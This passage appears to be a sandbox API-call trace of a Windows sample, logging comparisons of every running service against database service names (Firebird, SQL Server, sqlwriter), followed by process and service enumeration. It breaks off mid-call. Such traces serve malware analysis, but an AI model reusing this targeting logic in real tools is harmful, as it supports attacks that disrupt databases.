lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0199.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0199.241] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0199.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0199.241] lstrlenW (lpString="netprofm") returned 8 [0199.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0199.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0199.241] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0199.241] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0199.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0199.241] lstrlenW (lpString="NgcSvc") returned 6 [0199.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0199.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0199.241] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0199.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0199.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0199.242] lstrlenW (lpString="NlaSvc") returned 6 [0199.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0199.242] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0199.242] lstrlenW (lpString="nsi") returned 3 [0199.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0199.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0199.242] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0199.242] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0199.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0199.242] lstrlenW (lpString="PcaSvc") returned 6 [0199.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0199.242] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0199.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0199.242] lstrlenW (lpString="PlugPlay") returned 8 [0199.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0199.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0199.242] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0199.242] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0199.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0199.243] lstrlenW (lpString="Power") returned 5 [0199.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0199.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0199.243] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0199.243] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0199.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0199.243] lstrlenW (lpString="ProfSvc") returned 7 [0199.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0199.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0199.243] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0199.243] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0199.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0199.243] lstrlenW (lpString="RpcEptMapper") returned 12 [0199.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0199.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0199.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0199.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0199.243] lstrlenW (lpString="RpcSs") returned 5 [0199.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0199.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0199.243] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0199.243] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0199.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0199.243] lstrlenW (lpString="SamSs") returned 5 [0199.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0199.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0199.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0199.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0199.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0199.244] lstrlenW (lpString="Schedule") returned 8 [0199.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0199.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0199.244] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0199.244] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0199.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0199.244] lstrlenW (lpString="SecurityHealthService") returned 21 [0199.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0199.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0199.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0199.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0199.244] lstrlenW (lpString="SENS") returned 4 [0199.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0199.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0199.244] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0199.244] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0199.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0199.244] lstrlenW (lpString="ShellHWDetection") returned 16 [0199.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0199.244] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0199.245] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0199.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0199.245] lstrlenW (lpString="Spooler") returned 7 [0199.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0199.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0199.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0199.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0199.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0199.245] lstrlenW (lpString="StateRepository") returned 15 [0199.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0199.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0199.245] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0199.245] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0199.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0199.245] lstrlenW (lpString="SysMain") returned 7 [0199.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0199.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0199.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0199.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0199.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0199.245] lstrlenW (lpString="SystemEventsBroker") returned 18 [0199.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0199.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0199.245] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0199.245] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0199.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0199.246] lstrlenW (lpString="Themes") returned 6 [0199.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0199.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0199.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0199.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0199.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0199.246] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0199.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0199.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0199.246] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0199.246] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0199.246] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0199.636] Process32FirstW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0199.636] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0199.637] lstrlenW (lpString="System") returned 6 [0199.637] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0199.638] lstrlenW (lpString="smss.exe") returned 8 [0199.638] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.639] lstrlenW (lpString="csrss.exe") returned 9 [0199.639] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0199.640] lstrlenW (lpString="wininit.exe") returned 11 [0199.640] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0199.641] lstrlenW (lpString="csrss.exe") returned 9 [0199.641] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0199.642] lstrlenW (lpString="winlogon.exe") returned 12 [0199.642] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0199.643] lstrlenW (lpString="services.exe") returned 12 [0199.643] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0199.643] lstrlenW (lpString="lsass.exe") returned 9 [0199.643] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.644] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.644] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0199.645] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0199.645] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.646] lstrlenW (lpString="svchost.exe") returned 11 [0199.646] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.647] lstrlenW (lpString="svchost.exe") returned 11 [0199.647] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0199.647] lstrlenW (lpString="dwm.exe") returned 7 [0199.647] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.648] lstrlenW (lpString="svchost.exe") returned 11 [0199.648] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.649] lstrlenW (lpString="svchost.exe") returned 11 [0199.649] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.650] lstrlenW (lpString="svchost.exe") returned 11 [0199.650] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.651] lstrlenW (lpString="svchost.exe") returned 11 [0199.651] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.651] lstrlenW (lpString="svchost.exe") returned 11 [0199.652] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.652] lstrlenW (lpString="svchost.exe") returned 11 [0199.652] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.653] lstrlenW (lpString="svchost.exe") returned 11 [0199.653] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.654] lstrlenW (lpString="svchost.exe") returned 11 [0199.654] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.655] lstrlenW (lpString="svchost.exe") returned 11 [0199.655] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.656] lstrlenW (lpString="svchost.exe") returned 11 [0199.656] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0199.657] lstrlenW (lpString="spoolsv.exe") returned 11 [0199.657] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.658] lstrlenW (lpString="svchost.exe") returned 11 [0199.658] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0199.659] lstrlenW (lpString="audiodg.exe") returned 11 [0199.659] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0199.660] lstrlenW (lpString="sihost.exe") returned 10 [0199.660] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0199.661] lstrlenW (lpString="svchost.exe") returned 11 [0199.661] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0199.661] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0199.662] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0199.663] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0199.663] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0199.664] lstrlenW (lpString="Memory Compression") returned 18 [0199.664] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0199.664] lstrlenW (lpString="taskhostw.exe") returned 13 [0199.664] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0199.665] lstrlenW (lpString="msoia.exe") returned 9 [0199.665] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0199.666] lstrlenW (lpString="explorer.exe") returned 12 [0199.666] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0199.667] lstrlenW (lpString="SearchUI.exe") returned 12 [0199.667] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0199.668] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0199.668] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0199.669] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0199.669] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0199.670] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0199.670] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0199.800] lstrlenW (lpString="wmxsde.exe") returned 10 [0199.800] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.801] lstrlenW (lpString="dllhost.exe") returned 11 [0199.802] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0199.803] lstrlenW (lpString="dllhost.exe") returned 11 [0199.803] Process32NextW (in: hSnapshot=0x374, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0199.804] CloseHandle (hObject=0x374) returned 1 [0199.804] Sleep (dwMilliseconds=0x1f4) [0200.402] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f268 [0200.404] EnumServicesStatusExW (in: hSCManager=0x459f268, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, 